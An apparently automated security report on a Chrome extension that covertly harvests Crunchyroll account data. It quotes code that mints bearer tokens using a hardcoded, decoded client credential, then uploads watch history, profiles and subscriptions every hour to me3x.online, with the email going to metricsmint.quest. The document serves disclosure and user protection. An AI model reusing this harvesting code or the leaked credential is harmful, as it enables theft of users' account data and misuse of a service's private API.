Is Crunchyroll: Picture in Picture [QVI] safe?

Medium risk

The extension mints a token from your Crunchyroll session and sends your watch history, profiles, and subscription data to me3x.online.

On any Crunchyroll page, the content script reads your session cookies and uses a hardcoded Crunchyroll client secret to mint a bearer token, then calls Crunchyroll's private APIs to pull your profiles, full watch history, and subscription records. It forwards all of it to a third-party server, me3x.online, keyed to a persistent per-user ID, and repeats this every hour. Collection defaults to ON and is presented to users as 'anonymous feedback,' though the data sent is your real account watch-history and subscription information.

Awesome Extensionsv1.0.15Chrome Web Store
45Risk

AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.

Publishers can request a review.

Findings

SeverityMEDIUM
ClassUNWANTED
TypeUnexpected
CWECWE-506
SourceAI SANDBOX

Crunchyroll watch history and account data transmitted to me3x.online

Logged into Crunchyroll, the extension reads your cookies, mints a bearer token with a hardcoded credential, and pulls watch history (2,000 titles max), profiles, and subscriptions, sending it hourly to me3x.online, a third party.

01EvidenceCAUSE EFFECT
What actually happens
You did this

You visit any Crunchyroll page while logged in to your account.

The extension did this

The extension reads your cookies, mints a bearer token with a hardcoded Crunchyroll credential, fetches watch history, profiles, and subscriptions, and sends them to me3x.online.

The cycle repeats automatically every hour via setTimeout(3600000).

02EvidenceFIELD TABLE
Data collected and transmitted to me3x.online
FieldValueWhy it matters
Crunchyroll account ID
U7E93F2D1A4Your unique numeric account identifier, used to construct all private API request URLs.
Profile ID
P0A1B2C3D4EThe active profile within your account, passed to the token endpoint to scope the bearer token.
Watch history (up to 2,000 titles)
[{"id":"GRDQPM0ZY","title":"One Piece",...}]The full list of content you have watched or started watching, including episode IDs and progress.
Multi-profile list
[{"profile_id":"P0A1B2C3D4E","profile_name":"Alice"}]The names, IDs, and settings of every profile on your Crunchyroll account.
Subscription details
{"subscriptions":[{"type":"premium","status":"active"}]}Your current and past Crunchyroll subscription plan records.
Account email address
user@example.comYour Crunchyroll account email, sent via a separate upload to metricsmint.quest/up.
Extension user ID
ext-8a3f21c04dA persistent identifier created by the extension and sent alongside every upload.
03EvidenceCODE COMPARE
The code that does this

OAuth harvest loop, crunchyroll.min.js

What it actually does
Token mint — getConfigTokens() calls buildTokensUrl() = https://www.crunchyroll.com/auth/v1/tokencrunchyroll.min.js:5001
options = {
  headers: {
    Authorization: "Basic bm9haWhkZXZtXzZpeWcwYThsMHE6",  // base64 of 'noaihdevm_6iyg0a8l0q:'
    "Content-Type": "application/x-www-form-urlencoded"
  },
  method: "POST",
  body: formData.toString()  // grant_type=etp_rt_cookie&device_id=<cookie>
};
Upload loop — uploadSingleCommandData(data, commandId) called for each scraped datasetcrunchyroll.min.js:4432
postPlainJsonRequest(
  `${BASE_ROUTE}crunchyroll/upload`,   // BASE_ROUTE = 'https://me3x.online/n/'
  { ...data, commandId: commandId }
);
Hourly re-run — runWithAuth() in CrunchyrollHuntercrunchyroll.min.js:7470
// rerunTimeInterval = config_crunchyroll_namespaceObject.T3 = 3600000
setTimeout(() => this.runWithAuth(task, rerunInterval), rerunInterval);
04EvidenceOPAQUE REVEAL
Why you can't catch this in DevTools

The Crunchyroll OAuth client credential is Base64-encoded in the Authorization header of the token-mint POST request.

What's actually being sent
noaihdevm_6iyg0a8l0q:
05EvidenceTEMPORAL PATTERN
When this fires
Every 1 hour

After the initial scrape on page load, the extension reschedules itself to run every hour via setTimeout(3600000). The harvest runs once per hour for as long as any Crunchyroll tab is open.

06EvidenceTHIRD PARTY LIST
Servers receiving Crunchyroll account data
  • me3x.online

    Receives the command list (POST /n/crunchyroll/start) and harvested data (POST /n/crunchyroll/upload): watch history, profiles, subscriptions. Not affiliated with Crunchyroll.

  • metricsmint.quest

    Receives the account email address and account ID via a separate POST to /up with a base64-encoded body (sendAdditionalProfileData).

Data recipients

me3x.onlinewww.crunchyroll.com
Updated 17 September 2026mnbidnopakfjollfbpjlbnbgnkcdbend